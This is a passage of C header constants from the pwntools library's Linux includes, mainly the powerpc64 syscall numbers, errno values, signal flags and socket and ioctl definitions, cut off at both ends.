SYS__sysctl 149 #define SYS_sys_debug_setcontext 256 #define SYS_sysfs 135 #define SYS_sysinfo 116 #define SYS_syslog 103 #define SYS_tee 284 #define SYS_tgkill 250 #define SYS_time 13 #define SYS_timer_create 240 #define SYS_timer_delete 244 #define SYS_timerfd 306 #define SYS_timerfd_gettime 312 #define SYS_timerfd_gettime64 410 #define SYS_timerfd_settime 311 #define SYS_timerfd_settime64 411 #define SYS_timer_getoverrun 243 #define SYS_timer_gettime 242 #define SYS_timer_gettime64 408 #define SYS_timer_settime 241 #define SYS_timer_settime64 409 #define SYS_times 43 #define SYS_tkill 208 #define SYS_truncate 92 #define SYS_truncate64 193 #define SYS_tuxcall 225 #define SYS_ugetrlimit 190 #define SYS_ulimit 58 #define SYS_umask 60 #define SYS_umount 22 #define SYS_umount2 52 #define SYS_uname 122 #define SYS_unlink 10 #define SYS_unlinkat 292 #define SYS_unshare 282 #define SYS_uselib 86 #define SYS_userfaultfd 364 #define SYS_ustat 62 #define SYS_utime 30 #define SYS_utimensat 304 #define SYS_utimensat_time64 412 #define SYS_utimes 251 #define SYS_vfork 189 #define SYS_vhangup 111 #define SYS_vm86 113 #define SYS_vmsplice 285 #define SYS_wait4 114 #define SYS_waitid 272 #define SYS_waitpid 7 #define SYS_write 4 #define SYS_writev 146 #define r0 0 #define r1 1 #define r2 2 #define r3 3 #define r4 4 #define r5 5 #define r6 6 #define r7 7 #define r8 8 #define r9 9 #define r10 10 #define r11 11 #define r12 12 #define r13 13 #define r14 14 #define r15 15 #define r16 16 #define r17 17 #define r18 18 #define r19 19 #define r20 20 #define r21 21 #define r22 22 #define r23 23 #define r24 24 #define r25 25 #define r26 26 #define r27 27 #define r28 28 #define r29 29 #define r30 30 #define r31 31 Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/linux/powerpc64.h000066400000000000000000001103351507273764500253600ustar00rootroot00000000000000#define __NR_exit 1 #define __NR_fork 2 #define __NR_read 3 #define __NR_write 4 #define __NR_open 5 #define __NR_close 6 #define __NR_waitpid 7 #define __NR_creat 8 #define __NR_link 9 #define __NR_unlink 10 #define __NR_execve 11 #define __NR_chdir 12 #define __NR_time 13 #define __NR_mknod 14 #define __NR_chmod 15 #define __NR_lchown 16 #define __NR_break 17 #define __NR_oldstat 18 #define __NR_lseek 19 #define __NR_getpid 20 #define __NR_mount 21 #define __NR_umount 22 #define __NR_setuid 23 #define __NR_getuid 24 #define __NR_stime 25 #define __NR_ptrace 26 #define __NR_alarm 27 #define __NR_oldfstat 28 #define __NR_pause 29 #define __NR_utime 30 #define __NR_stty 31 #define __NR_gtty 32 #define __NR_access 33 #define __NR_nice 34 #define __NR_ftime 35 #define __NR_sync 36 #define __NR_kill 37 #define __NR_rename 38 #define __NR_mkdir 39 #define __NR_rmdir 40 #define __NR_dup 41 #define __NR_pipe 42 #define __NR_times 43 #define __NR_prof 44 #define __NR_brk 45 #define __NR_setgid 46 #define __NR_getgid 47 #define __NR_signal 48 #define __NR_geteuid 49 #define __NR_getegid 50 #define __NR_acct 51 #define __NR_umount2 52 #define __NR_lock 53 #define __NR_ioctl 54 #define __NR_fcntl 55 #define __NR_mpx 56 #define __NR_setpgid 57 #define __NR_ulimit 58 #define __NR_oldolduname 59 #define __NR_umask 60 #define __NR_chroot 61 #define __NR_ustat 62 #define __NR_dup2 63 #define __NR_getppid 64 #define __NR_getpgrp 65 #define __NR_setsid 66 #define __NR_sigaction 67 #define __NR_sgetmask 68 #define __NR_ssetmask 69 #define __NR_setreuid 70 #define __NR_setregid 71 #define __NR_sigsuspend 72 #define __NR_sigpending 73 #define __NR_sethostname 74 #define __NR_setrlimit 75 #define __NR_getrlimit 76 #define __NR_getrusage 77 #define __NR_gettimeofday 78 #define __NR_settimeofday 79 #define __NR_getgroups 80 #define __NR_setgroups 81 #define __NR_select 82 #define __NR_symlink 83 #define __NR_oldlstat 84 #define __NR_readlink 85 #define __NR_uselib 86 #define __NR_swapon 87 #define __NR_reboot 88 #define __NR_readdir 89 #define __NR_mmap 90 #define __NR_munmap 91 #define __NR_truncate 92 #define __NR_ftruncate 93 #define __NR_fchmod 94 #define __NR_fchown 95 #define __NR_getpriority 96 #define __NR_setpriority 97 #define __NR_profil 98 #define __NR_statfs 99 #define __NR_fstatfs 100 #define __NR_ioperm 101 #define __NR_socketcall 102 #define __NR_syslog 103 #define __NR_setitimer 104 #define __NR_getitimer 105 #define __NR_stat 106 #define __NR_lstat 107 #define __NR_fstat 108 #define __NR_olduname 109 #define __NR_iopl 110 #define __NR_vhangup 111 #define __NR_idle 112 #define __NR_vm86 113 #define __NR_wait4 114 #define __NR_swapoff 115 #define __NR_sysinfo 116 #define __NR_ipc 117 #define __NR_fsync 118 #define __NR_sigreturn 119 #define __NR_clone 120 #define __NR_setdomainname 121 #define __NR_uname 122 #define __NR_modify_ldt 123 #define __NR_adjtimex 124 #define __NR_mprotect 125 #define __NR_sigprocmask 126 #define __NR_create_module 127 #define __NR_init_module 128 #define __NR_delete_module 129 #define __NR_get_kernel_syms 130 #define __NR_quotactl 131 #define __NR_getpgid 132 #define __NR_fchdir 133 #define __NR_bdflush 134 #define __NR_sysfs 135 #define __NR_personality 136 #define __NR_afs_syscall 137 #define __NR_setfsuid 138 #define __NR_setfsgid 139 #define __NR__llseek 140 #define __NR_getdents 141 #define __NR__newselect 142 #define __NR_flock 143 #define __NR_msync 144 #define __NR_readv 145 #define __NR_writev 146 #define __NR_getsid 147 #define __NR_fdatasync 148 #define __NR__sysctl 149 #define __NR_mlock 150 #define __NR_munlock 151 #define __NR_mlockall 152 #define __NR_munlockall 153 #define __NR_sched_setparam 154 #define __NR_sched_getparam 155 #define __NR_sched_setscheduler 156 #define __NR_sched_getscheduler 157 #define __NR_sched_yield 158 #define __NR_sched_get_priority_max 159 #define __NR_sched_get_priority_min 160 #define __NR_sched_rr_get_interval 161 #define __NR_nanosleep 162 #define __NR_mremap 163 #define __NR_setresuid 164 #define __NR_getresuid 165 #define __NR_query_module 166 #define __NR_poll 167 #define __NR_nfsservctl 168 #define __NR_setresgid 169 #define __NR_getresgid 170 #define __NR_prctl 171 #define __NR_rt_sigreturn 172 #define __NR_rt_sigaction 173 #define __NR_rt_sigprocmask 174 #define __NR_rt_sigpending 175 #define __NR_rt_sigtimedwait 176 #define __NR_rt_sigqueueinfo 177 #define __NR_rt_sigsuspend 178 #define __NR_pread 179 #define __NR_pwrite 180 #define __NR_chown 181 #define __NR_getcwd 182 #define __NR_capget 183 #define __NR_capset 184 #define __NR_sigaltstack 185 #define __NR_sendfile 186 #define __NR_getpmsg 187 #define __NR_putpmsg 188 #define __NR_vfork 189 #define __NR_ugetrlimit 190 #define __NR_readahead 191 #define __NR_pciconfig_read 198 #define __NR_pciconfig_write 199 #define __NR_pciconfig_iobase 200 #define __NR_multiplexer 201 #define __NR_getdents64 202 #define __NR_pivot_root 203 #define __NR_madvise 205 #define __NR_mincore 206 #define __NR_gettid 207 #define __NR_tkill 208 #define __NR_setxattr 209 #define __NR_lsetxattr 210 #define __NR_fsetxattr 211 #define __NR_getxattr 212 #define __NR_lgetxattr 213 #define __NR_fgetxattr 214 #define __NR_listxattr 215 #define __NR_llistxattr 216 #define __NR_flistxattr 217 #define __NR_removexattr 218 #define __NR_lremovexattr 219 #define __NR_fremovexattr 220 #define __NR_futex 221 #define __NR_sched_setaffinity 222 #define __NR_sched_getaffinity 223 #define __NR_tuxcall 225 #define __NR_io_setup 227 #define __NR_io_destroy 228 #define __NR_io_getevents 229 #define __NR_io_submit 230 #define __NR_io_cancel 231 #define __NR_set_tid_address 232 #define __NR_fadvise64 233 #define __NR_exit_group 234 #define __NR_lookup_dcookie 235 #define __NR_epoll_create 236 #define __NR_epoll_ctl 237 #define __NR_epoll_wait 238 #define __NR_remap_file_pages 239 #define __NR_timer_create 240 #define __NR_timer_settime 241 #define __NR_timer_gettime 242 #define __NR_timer_getoverrun 243 #define __NR_timer_delete 244 #define __NR_clock_settime 245 #define __NR_clock_gettime 246 #define __NR_clock_getres 247 #define __NR_clock_nanosleep 248 #define __NR_swapcontext 249 #define __NR_tgkill 250 #define __NR_utimes 251 #define __NR_statfs64 252 #define __NR_fstatfs64 253 #define __NR_rtas 255 #define __NR_mbind 259 #define __NR_get_mempolicy 260 #define __NR_set_mempolicy 261 #define __NR_mq_open 262 #define __NR_mq_unlink 263 #define __NR_mq_timedsend 264 #define __NR_mq_timedreceive 265 #define __NR_mq_notify 266 #define __NR_mq_getsetattr 267 #define __NR_kexec_load 268 #define __NR_add_key 269 #define __NR_request_key 270 #define __NR_keyctl 271 #define __NR_waitid 272 #define __NR_ioprio_set 273 #define __NR_ioprio_get 274 #define __NR_inotify_init 275 #define __NR_inotify_add_watch 276 #define __NR_inotify_rm_watch 277 #define __NR_spu_run 278 #define __NR_spu_create 279 #define __NR_pselect6 280 #define __NR_ppoll 281 #define __NR_unshare 282 #define __NR_splice 283 #define __NR_tee 284 #define __NR_vmsplice 285 #define __NR_openat 286 #define __NR_mkdirat 287 #define __NR_mknodat 288 #define __NR_fchownat 289 #define __NR_futimesat 290 #define __NR_newfstatat 291 #define __NR_unlinkat 292 #define __NR_renameat 293 #define __NR_linkat 294 #define __NR_symlinkat 295 #define __NR_readlinkat 296 #define __NR_fchmodat 297 #define __NR_faccessat 298 #define __NR_get_robust_list 299 #define __NR_set_robust_list 300 #define __NR_move_pages 301 #define __NR_getcpu 302 #define __NR_epoll_pwait 303 #define __NR_utimensat 304 #define __NR_signalfd 305 #define __NR_timerfd 306 #define __NR_eventfd 307 #define __NR_sync_file_range2 308 #define __NR_fallocate 309 #define __NR_subpage_prot 310 #define __NR_timerfd_settime 311 #define __NR_timerfd_gettime 312 #define __NR_signalfd4 313 #define __NR_eventfd2 314 #define __NR_epoll_create1 315 #define __NR_dup3 316 #define __NR_pipe2 317 #define __NR_inotify_init1 318 #define __NR_perf_event_open 319 #define __NR_preadv 320 #define __NR_pwritev 321 #define __NR_rt_tgsigqueueinfo 322 #define __NR_fanotify_init 323 #define __NR_fanotify_mark 324 #define __NR_prlimit64 325 #define __NR_socket 326 #define __NR_bind 327 #define __NR_connect 328 #define __NR_listen 329 #define __NR_accept 330 #define __NR_getsockname 331 #define __NR_getpeername 332 #define __NR_socketpair 333 #define __NR_send 334 #define __NR_sendto 335 #define __NR_recv 336 #define __NR_recvfrom 337 #define __NR_shutdown 338 #define __NR_setsockopt 339 #define __NR_getsockopt 340 #define __NR_sendmsg 341 #define __NR_recvmsg 342 #define __NR_recvmmsg 343 #define __NR_accept4 344 #define __NR_name_to_handle_at 345 #define __NR_open_by_handle_at 346 #define __NR_clock_adjtime 347 #define __NR_syncfs 348 #define __NR_sendmmsg 349 #define __NR_setns 350 #define __NR_process_vm_readv 351 #define __NR_process_vm_writev 352 #define __NR_finit_module 353 #define __NR_kcmp 354 #define __NR_sched_setattr 355 #define __NR_sched_getattr 356 #define __NR_renameat2 357 #define __NR_seccomp 358 #define __NR_getrandom 359 #define __NR_memfd_create 360 #define __NR_bpf 361 #define __NR_execveat 362 #define __NR_switch_endian 363 #define __NR_userfaultfd 364 #define __NR_membarrier 365 #define __NR_mlock2 378 #define __NR_copy_file_range 379 #define __NR_preadv2 380 #define __NR_pwritev2 381 #define __NR_kexec_file_load 382 #define __NR_statx 383 #define __NR_pkey_alloc 384 #define __NR_pkey_free 385 #define __NR_pkey_mprotect 386 #define __NR_rseq 387 #define __NR_io_pgetevents 388 #define __NR_semtimedop 392 #define __NR_semget 393 #define __NR_semctl 394 #define __NR_shmget 395 #define __NR_shmctl 396 #define __NR_shmat 397 #define __NR_shmdt 398 #define __NR_msgget 399 #define __NR_msgsnd 400 #define __NR_msgrcv 401 #define __NR_msgctl 402 #define __NR_pidfd_send_signal 424 #define __NR_io_uring_setup 425 #define __NR_io_uring_enter 426 #define __NR_io_uring_register 427 #define __NR_open_tree 428 #define __NR_move_mount 429 #define __NR_fsopen 430 #define __NR_fsconfig 431 #define __NR_fsmount 432 #define __NR_fspick 433 #define __NR_pidfd_open 434 #define __NR_clone3 435 #define __NR_openat2 437 #define __NR_pidfd_getfd 438 #define MAP_32BIT 0x40 #define INADDR_ANY 0 #define INADDR_BROADCAST 0xffffffff #define INADDR_NONE 0xffffffff #define INADDR_LOOPBACK 0x7f000001 #define EPERM 1 #define ENOENT 2 #define ESRCH 3 #define EINTR 4 #define EIO 5 #define ENXIO 6 #define E2BIG 7 #define ENOEXEC 8 #define EBADF 9 #define ECHILD 10 #define EAGAIN 11 #define ENOMEM 12 #define EACCES 13 #define EFAULT 14 #define ENOTBLK 15 #define EBUSY 16 #define EEXIST 17 #define EXDEV 18 #define ENODEV 19 #define ENOTDIR 20 #define EISDIR 21 #define EINVAL 22 #define ENFILE 23 #define EMFILE 24 #define ENOTTY 25 #define ETXTBSY 26 #define EFBIG 27 #define ENOSPC 28 #define ESPIPE 29 #define EROFS 30 #define EMLINK 31 #define EPIPE 32 #define EDOM 33 #define ERANGE 34 #define EDEADLK 35 #define ENAMETOOLONG 36 #define ENOLCK 37 #define ENOSYS 38 #define ENOTEMPTY 39 #define ELOOP 40 #define EWOULDBLOCK 11 #define ENOMSG 42 #define EIDRM 43 #define ECHRNG 44 #define EL2NSYNC 45 #define EL3HLT 46 #define EL3RST 47 #define ELNRNG 48 #define EUNATCH 49 #define ENOCSI 50 #define EL2HLT 51 #define EBADE 52 #define EBADR 53 #define EXFULL 54 #define ENOANO 55 #define EBADRQC 56 #define EBADSLT 57 #define EDEADLOCK 35 #define EBFONT 59 #define ENOSTR 60 #define ENODATA 61 #define ETIME 62 #define ENOSR 63 #define ENONET 64 #define ENOPKG 65 #define EREMOTE 66 #define ENOLINK 67 #define EADV 68 #define ESRMNT 69 #define ECOMM 70 #define EPROTO 71 #define EMULTIHOP 72 #define EDOTDOT 73 #define EBADMSG 74 #define EOVERFLOW 75 #define ENOTUNIQ 76 #define EBADFD 77 #define EREMCHG 78 #define ELIBACC 79 #define ELIBBAD 80 #define ELIBSCN 81 #define ELIBMAX 82 #define ELIBEXEC 83 #define EILSEQ 84 #define ERESTART 85 #define ESTRPIPE 86 #define EUSERS 87 #define ENOTSOCK 88 #define EDESTADDRREQ 89 #define EMSGSIZE 90 #define EPROTOTYPE 91 #define ENOPROTOOPT 92 #define EPROTONOSUPPORT 93 #define ESOCKTNOSUPPORT 94 #define EOPNOTSUPP 95 #define ENOTSUP 95 #define EPFNOSUPPORT 96 #define EAFNOSUPPORT 97 #define EADDRINUSE 98 #define EADDRNOTAVAIL 99 #define ENETDOWN 100 #define ENETUNREACH 101 #define ENETRESET 102 #define ECONNABORTED 103 #define ECONNRESET 104 #define ENOBUFS 105 #define EISCONN 106 #define ENOTCONN 107 #define ESHUTDOWN 108 #define ETOOMANYREFS 109 #define ETIMEDOUT 110 #define ECONNREFUSED 111 #define EHOSTDOWN 112 #define EHOSTUNREACH 113 #define EALREADY 114 #define EINPROGRESS 115 #define ESTALE 116 #define EUCLEAN 117 #define ENOTNAM 118 #define ENAVAIL 119 #define EISNAM 120 #define EREMOTEIO 121 #define EDQUOT 122 #define ENOMEDIUM 123 #define EMEDIUMTYPE 124 #define ECANCELED 125 #define ENOKEY 126 #define EKEYEXPIRED 127 #define EKEYREVOKED 128 #define EKEYREJECTED 129 #define EOWNERDEAD 130 #define ENOTRECOVERABLE 131 #define ERFKILL 132 #define EHWPOISON 133 #define __SYS_NERR ((133) + 1) #define __LITTLE_ENDIAN 1234 #define __BIG_ENDIAN 4321 #define __BYTE_ORDER 4321 #define __FLOAT_WORD_ORDER 4321 #define LITTLE_ENDIAN 1234 #define BIG_ENDIAN 4321 #define BYTE_ORDER 4321 #define __WORDSIZE 32 #define INT8_MAX (127) #define INT16_MAX (32767) #define INT32_MAX (2147483647) #define INT64_MAX (9223372036854775807) #define INT8_MIN (-1 - (127)) #define INT16_MIN (-1 - (32767)) #define INT32_MIN (-1 - (2147483647)) #define INT64_MIN (-1 - (9223372036854775807)) #define INT_LEAST8_MAX (127) #define INT_LEAST8_MIN (-1 - (127)) #define INT_LEAST16_MAX (32767) #define INT_LEAST16_MIN (-1 - (32767)) #define INT_LEAST32_MAX (2147483647) #define INT_LEAST32_MIN (-1 - (2147483647)) #define INT_LEAST64_MAX (9223372036854775807) #define INT_LEAST64_MIN (-1 - (9223372036854775807)) #define UINT8_MAX 0xff #define UINT16_MAX 0xffff #define UINT32_MAX 0xffffffff #define UINT64_MAX 0xffffffffffffffff #define UINT_LEAST8_MAX 0xff #define UINT_LEAST16_MAX 0xffff #define UINT_LEAST32_MAX 0xffffffff #define UINT_LEAST64_MAX 0xffffffffffffffff #define INTPTR_MIN (-1 - (2147483647)) #define INTPTR_MAX (2147483647) #define UINTPTR_MAX 0xffffffff #define SIZE_MAX 0xffffffff #define PTRDIFF_MIN (-1 - (2147483647)) #define PTRDIFF_MAX (2147483647) #define INTMAX_MIN (-1 - (9223372036854775807)) #define INTMAX_MAX (9223372036854775807) #define UINTMAX_MAX 0xffffffffffffffff #define INT_FAST8_MIN (-1 - (127)) #define INT_FAST8_MAX (127) #define INT_FAST64_MIN (-1 - (9223372036854775807)) #define INT_FAST64_MAX (9223372036854775807) #define UINT_FAST8_MAX 0xff #define UINT_FAST64_MAX 0xffffffffffffffff #define INT_FAST16_MIN (-1 - (2147483647)) #define INT_FAST16_MAX (2147483647) #define UINT_FAST16_MAX 0xffffffff #define INT_FAST32_MIN (-1 - (2147483647)) #define INT_FAST32_MAX (2147483647) #define UINT_FAST32_MAX 0xffffffff #define WINT_MIN 0 #define __FSUID_H 1 #define NSIG 32 #define _NSIG 65 #define SIGHUP 1 #define SIGINT 2 #define SIGQUIT 3 #define SIGILL 4 #define SIGTRAP 5 #define SIGABRT 6 #define SIGIOT 6 #define SIGFPE 8 #define SIGKILL 9 #define SIGSEGV 11 #define SIGPIPE 13 #define SIGALRM 14 #define SIGTERM 15 #define SIGUNUSED 31 #define SIGRTMIN 32 #define SIGRTMAX (65-1) #define SA_NOCLDSTOP 0x00000001 #define SA_NOCLDWAIT 0x00000002 #define SA_SIGINFO 0x00000004 #define SA_RESTORER 0x04000000 #define SA_ONSTACK 0x08000000 #define SA_RESTART 0x10000000 #define SA_INTERRUPT 0x20000000 #define SA_NODEFER 0x40000000 #define SA_RESETHAND 0x80000000 #define SA_NOMASK 0x40000000 #define SA_ONESHOT 0x80000000 #define SS_ONSTACK 1 #define SS_DISABLE 2 #define MINSIGSTKSZ 2048 #define SIGSTKSZ 8192 #define SIG_BLOCK 0 #define SIG_UNBLOCK 1 #define SIG_SETMASK 2 #define SI_MAX_SIZE 128 #define SIGEV_SIGNAL 0 #define SIGEV_NONE 1 #define SIGEV_THREAD 2 #define SIGEV_THREAD_ID 4 #define SIGEV_MAX_SIZE 64 #define _SYS_TIME_H 1 #define ITIMER_REAL 0 #define ITIMER_VIRTUAL 1 #define ITIMER_PROF 2 #define FD_SETSIZE 1024 #define R_OK 4 #define W_OK 2 #define X_OK 1 #define F_OK 0 #define SEEK_SET 0 #define SEEK_CUR 1 #define SEEK_END 2 #define STDIN_FILENO 0 #define STDOUT_FILENO 1 #define STDERR_FILENO 2 #define _CS_PATH 1 #define _SC_CLK_TCK 1 #define _SC_ARG_MAX 2 #define _SC_NGROUPS_MAX 3 #define _SC_OPEN_MAX 4 #define _SC_PAGESIZE 5 #define _SC_NPROCESSORS_ONLN 6 #define _SC_NPROCESSORS_CONF 6 #define _SC_PHYS_PAGES 7 #define _SC_GETPW_R_SIZE_MAX 8 #define _SC_GETGR_R_SIZE_MAX 9 #define _PC_PATH_MAX 1 #define _PC_VDISABLE 2 #define L_cuserid 17 #define _POSIX_VERSION 199506 #define F_ULOCK 0 #define F_LOCK 1 #define F_TLOCK 2 #define F_TEST 3 #define _POSIX_MAPPED_FILES 200809 #define S_IFMT 0xf000 #define S_IFSOCK 0xc000 #define S_IFLNK 0xa000 #define S_IFREG 0x8000 #define S_IFBLK 0x6000 #define S_IFDIR 0x4000 #define S_IFCHR 0x2000 #define S_IFIFO 0x1000 #define S_ISUID 0x800 #define S_ISGID 0x400 #define S_ISVTX 0x200 #define S_IRWXU 0x1c0 #define S_IRUSR 0x100 #define S_IWUSR 0x80 #define S_IXUSR 0x40 #define S_IRWXG 0x38 #define S_IRGRP 0x20 #define S_IWGRP 0x10 #define S_IXGRP 0x8 #define S_IRWXO 0x7 #define S_IROTH 0x4 #define S_IWOTH 0x2 #define S_IXOTH 0x1 #define S_IREAD 0x100 #define S_IWRITE 0x80 #define S_IEXEC 0x40 #define _SYS_UIO 1 #define SOL_SOCKET 1 #define SO_DEBUG 1 #define SO_REUSEADDR 2 #define SO_TYPE 3 #define SO_ERROR 4 #define SO_DONTROUTE 5 #define SO_BROADCAST 6 #define SO_SNDBUF 7 #define SO_RCVBUF 8 #define SO_KEEPALIVE 9 #define SO_OOBINLINE 10 #define SO_NO_CHECK 11 #define SO_PRIORITY 12 #define SO_LINGER 13 #define SO_BSDCOMPAT 14 #define SO_REUSEPORT 15 #define SO_PASSCRED 16 #define SO_PEERCRED 17 #define SO_RCVLOWAT 18 #define SO_SNDLOWAT 19 #define SO_RCVTIMEO 20 #define SO_SNDTIMEO 21 #define SO_SECURITY_AUTHENTICATION 22 #define SO_SECURITY_ENCRYPTION_TRANSPORT 23 #define SO_SECURITY_ENCRYPTION_NETWORK 24 #define SO_BINDTODEVICE 25 #define SO_ATTACH_FILTER 26 #define SO_DETACH_FILTER 27 #define SO_GET_FILTER 26 #define SO_PEERNAME 28 #define SO_TIMESTAMP 29 #define SCM_TIMESTAMP 29 #define SO_ACCEPTCONN 30 #define SO_PEERSEC 31 #define SO_SNDBUFFORCE 32 #define SO_RCVBUFFORCE 33 #define SO_PASSSEC 34 #define SO_TIMESTAMPNS 35 #define SCM_TIMESTAMPNS 35 #define SO_MARK 36 #define SO_TIMESTAMPING 37 #define SCM_TIMESTAMPING 37 #define SO_PROTOCOL 38 #define SO_DOMAIN 39 #define SO_RXQ_OVFL 40 #define SO_WIFI_STATUS 41 #define SCM_WIFI_STATUS 41 #define SO_PEEK_OFF 42 #define SO_NOFCS 43 #define SO_LOCK_FILTER 44 #define SO_SELECT_ERR_QUEUE 45 #define SO_BUSY_POLL 46 #define SO_MAX_PACING_RATE 47 #define SO_BPF_EXTENSIONS 48 #define SO_INCOMING_CPU 49 #define SO_ATTACH_BPF 50 #define SO_DETACH_BPF 27 #define SO_ATTACH_REUSEPORT_CBPF 51 #define SO_ATTACH_REUSEPORT_EBPF 52 #define SO_CNX_ADVICE 53 #define SCM_TIMESTAMPING_OPT_STATS 54 #define SO_MEMINFO 55 #define SO_INCOMING_NAPI_ID 56 #define SO_COOKIE 57 #define SCM_TIMESTAMPING_PKTINFO 58 #define SO_PEERGROUPS 59 #define SO_ZEROCOPY 60 #define SOCK_STREAM 1 #define SOCK_DGRAM 2 #define SOCK_RAW 3 #define SOCK_RDM 4 #define SOCK_SEQPACKET 5 #define SOCK_DCCP 6 #define SOCK_PACKET 10 #define UIO_FASTIOV 8 #define UIO_MAXIOV 1024 #define SCM_RIGHTS 0x01 #define SCM_CREDENTIALS 0x02 #define SCM_CONNECT 0x03 #define AF_UNSPEC 0 #define AF_UNIX 1 #define AF_LOCAL 1 #define AF_INET 2 #define AF_AX25 3 #define AF_IPX 4 #define AF_APPLETALK 5 #define AF_NETROM 6 #define AF_BRIDGE 7 #define AF_ATMPVC 8 #define AF_X25 9 #define AF_INET6 10 #define AF_ROSE 11 #define AF_DECnet 12 #define AF_NETBEUI 13 #define AF_SECURITY 14 #define AF_KEY 15 #define AF_NETLINK 16 #define AF_ROUTE 16 #define AF_PACKET 17 #define AF_ASH 18 #define AF_ECONET 19 #define AF_ATMSVC 20 #define AF_SNA 22 #define AF_IRDA 23 #define AF_PPPOX 24 #define AF_WANPIPE 25 #define AF_LLC 26 #define AF_IB 27 #define AF_MPLS 28 #define AF_CAN 29 #define AF_TIPC 30 #define AF_BLUETOOTH 31 #define AF_IUCV 32 #define AF_RXRPC 33 #define AF_ISDN 34 #define AF_PHONET 35 #define AF_IEEE802154 36 #define AF_CAIF 37 #define AF_ALG 38 #define AF_NFC 39 #define AF_VSOCK 40 #define AF_KCM 41 #define AF_QIPCRTR 42 #define AF_SMC 43 #define AF_MAX 44 #define PF_UNSPEC 0 #define PF_UNIX 1 #define PF_LOCAL 1 #define PF_INET 2 #define PF_AX25 3 #define PF_IPX 4 #define PF_APPLETALK 5 #define PF_NETROM 6 #define PF_BRIDGE 7 #define PF_ATMPVC 8 #define PF_X25 9 #define PF_INET6 10 #define PF_ROSE 11 #define PF_DECnet 12 #define PF_NETBEUI 13 #define PF_SECURITY 14 #define PF_KEY 15 #define PF_NETLINK 16 #define PF_ROUTE 16 #define PF_PACKET 17 #define PF_ASH 18 #define PF_ECONET 19 #define PF_ATMSVC 20 #define PF_SNA 22 #define PF_IRDA 23 #define PF_PPPOX 24 #define PF_WANPIPE 25 #define PF_LLC 26 #define PF_IB 27 #define PF_MPLS 28 #define PF_CAN 29 #define PF_TIPC 30 #define PF_BLUETOOTH 31 #define PF_IUCV 32 #define PF_RXRPC 33 #define PF_ISDN 34 #define PF_PHONET 35 #define PF_IEEE802154 36 #define PF_CAIF 37 #define PF_ALG 38 #define PF_NFC 39 #define PF_VSOCK 40 #define PF_KCM 41 #define PF_QIPCRTR 42 #define PF_SMC 43 #define PF_MAX 44 #define SOMAXCONN 128 #define MSG_OOB 1 #define MSG_PEEK 2 #define MSG_DONTROUTE 4 #define MSG_TRYHARD 4 #define MSG_CTRUNC 8 #define MSG_PROBE 0x10 #define MSG_TRUNC 0x20 #define MSG_DONTWAIT 0x40 #define MSG_EOR 0x80 #define MSG_WAITALL 0x100 #define MSG_FIN 0x200 #define MSG_SYN 0x400 #define MSG_CONFIRM 0x800 #define MSG_RST 0x1000 #define MSG_ERRQUEUE 0x2000 #define MSG_NOSIGNAL 0x4000 #define MSG_MORE 0x8000 #define MSG_WAITFORONE 0x10000 #define MSG_SENDPAGE_NOTLAST 0x20000 #define MSG_BATCH 0x40000 #define MSG_EOF 0x200 #define MSG_ZEROCOPY 0x4000000 #define MSG_FASTOPEN 0x20000000 #define MSG_CMSG_CLOEXEC 0x40000000 #define SOL_IP 0 #define SOL_TCP 6 #define SOL_UDP 17 #define SOL_IPV6 41 #define SOL_ICMPV6 58 #define SOL_SCTP 132 #define SOL_UDPLITE 136 #define SOL_RAW 255 #define SOL_IPX 256 #define SOL_AX25 257 #define SOL_ATALK 258 #define SOL_NETROM 259 #define SOL_ROSE 260 #define SOL_DECNET 261 #define SOL_X25 262 #define SOL_PACKET 263 #define SOL_ATM 264 #define SOL_AAL 265 #define SOL_IRDA 266 #define SOL_NETBEUI 267 #define SOL_LLC 268 #define SOL_DCCP 269 #define SOL_NETLINK 270 #define SOL_TIPC 271 #define SOL_RXRPC 272 #define SOL_PPPOL2TP 273 #define SOL_BLUETOOTH 274 #define SOL_PNPIPE 275 #define SOL_RDS 276 #define SOL_IUCV 277 #define SOL_CAIF 278 #define SOL_ALG 279 #define SOL_NFC 280 #define SOL_KCM 281 #define SOL_TLS 282 #define IPX_TYPE 1 #define SHUT_RD 0 #define SHUT_WR 1 #define SHUT_RDWR 2 #define NI_NOFQDN 1 #define NI_NUMERICHOST 2 #define NI_NAMEREQD 4 #define NI_NUMERICSERV 8 #define NI_DGRAM 16 #define EAI_FAMILY -1 #define EAI_SOCKTYPE -2 #define EAI_BADFLAGS -3 #define EAI_NONAME -4 #define EAI_SERVICE -5 #define EAI_ADDRFAMILY -6 #define EAI_NODATA -7 #define EAI_MEMORY -8 #define EAI_FAIL -9 #define EAI_AGAIN -10 #define EAI_SYSTEM -11 #define AI_NUMERICHOST 1 #define AI_CANONNAME 2 #define AI_PASSIVE 4 #define AI_NUMERICSERV 8 #define AI_ADDRCONFIG 16 #define AI_V4MAPPED 32 #define AI_ALL 64 #define SIOCADDRT 0x890B #define SIOCDELRT 0x890C #define SIOCRTMSG 0x890D #define SIOCGIFNAME 0x8910 #define SIOCSIFLINK 0x8911 #define SIOCGIFCONF 0x8912 #define SIOCGIFFLAGS 0x8913 #define SIOCSIFFLAGS 0x8914 #define SIOCGIFADDR 0x8915 #define SIOCSIFADDR 0x8916 #define SIOCGIFDSTADDR 0x8917 #define SIOCSIFDSTADDR 0x8918 #define SIOCGIFBRDADDR 0x8919 #define SIOCSIFBRDADDR 0x891a #define SIOCGIFNETMASK 0x891b #define SIOCSIFNETMASK 0x891c #define SIOCGIFMETRIC 0x891d #define SIOCSIFMETRIC 0x891e #define SIOCGIFMEM 0x891f #define SIOCSIFMEM 0x8920 #define SIOCGIFMTU 0x8921 #define SIOCSIFMTU 0x8922 #define SIOCSIFNAME 0x8923 #define SIOCSIFHWADDR 0x8924 #define SIOCGIFENCAP 0x8925 #define SIOCSIFENCAP 0x8926 #define SIOCGIFHWADDR 0x8927 #define SIOCGIFSLAVE 0x8929 #define SIOCSIFSLAVE 0x8930 #define SIOCADDMULTI 0x8931 #define SIOCDELMULTI 0x8932 #define SIOCGIFINDEX 0x8933 #define SIOGIFINDEX 0x8933 #define SIOCSIFPFLAGS 0x8934 #define SIOCGIFPFLAGS 0x8935 #define SIOCDIFADDR 0x8936 #define SIOCSIFHWBROADCAST 0x8937 #define SIOCGIFCOUNT 0x8938 #define SIOCGIFBR 0x8940 #define SIOCSIFBR 0x8941 #define SIOCGIFTXQLEN 0x8942 #define SIOCSIFTXQLEN 0x8943 #define SIOCGIFDIVERT 0x8944 #define SIOCSIFDIVERT 0x8945 #define SIOCETHTOOL 0x8946 #define SIOCDARP 0x8953 #define SIOCGARP 0x8954 #define SIOCSARP 0x8955 #define SIOCDRARP 0x8960 #define 